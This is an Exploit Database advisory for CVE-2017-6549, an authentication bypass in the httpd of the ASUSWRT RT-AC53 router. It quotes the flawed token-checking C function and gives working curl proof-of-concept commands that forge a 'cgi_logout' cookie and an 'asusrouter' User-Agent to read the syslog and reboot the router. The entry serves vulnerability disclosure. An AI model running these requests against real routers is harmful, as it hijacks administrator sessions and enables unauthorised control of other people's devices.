ASUSWRT RT-AC53 (3.0.0.4.380.6038) – Session Stealing

• Exploit Database
• 16 阅读

• 作者： Bruno Bierbaumer
  日期： 2017-03-08
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/41572/

• Session Stealing
  
  Component: httpd
  
  CVE: CVE-2017-6549
  
  Vulnerability:
  
  httpd uses the function search_token_in_list to validate if a user is logged into the admin interface by checking his asus_token value. There seems to be a branch which could be a failed attempt to build in a logout functionality.
  
  asus_token_t* search_token_in_list(char* token, asus_token_t **prev)
  {
  asus_token_t *ptr = head;
  asus_token_t *tmp = NULL;
  int found = 0;
  char *cp = NULL;
  
  while(ptr != NULL)
  {
  if(!strncmp(token, ptr->token, 32)) {
  found = 1;
  break;
  }
  else if(strncmp(token, "cgi_logout", 10) == 0) {
  cp = strtok(ptr->useragent, "-");
  
  if(strcmp(cp, "asusrouter") != 0) {
  found = 1;
  break;
  }
  }
  else {
  tmp = ptr;
  ptr = ptr->next;
  }
  }
  
  if(found == 1) {
  if(prev)
  *prev = tmp;
  return ptr;
  } 
  else {
  return NULL;
  }
  }
  If an attacker sets his cookie value to cgi_logout and puts asusrouter-Windows-IFTTT-1.0 into his User-Agent header he will be treated as signed-in if any other administrator session is active.
  
  PoC:
  
  # read syslog
  curl -H 'User-Agent: asusrouter-Windows-IFTTT-1.0' -H 'Cookie: asus_token=cgi_logout' http://192.168.1.1/syslog.txt
  
  #reboot router
  curl -H 'User-Agent: asusrouter-Windows-IFTTT-1.0' -H 'Cookie: asus_token=cgi_logout' http://192.168.1.1/apply.cgi1 -d 'action_mode=reboot&action_script=&action_wait=70'
  It’s possible to execute arbitrary commands on the router if any admin session is currently active.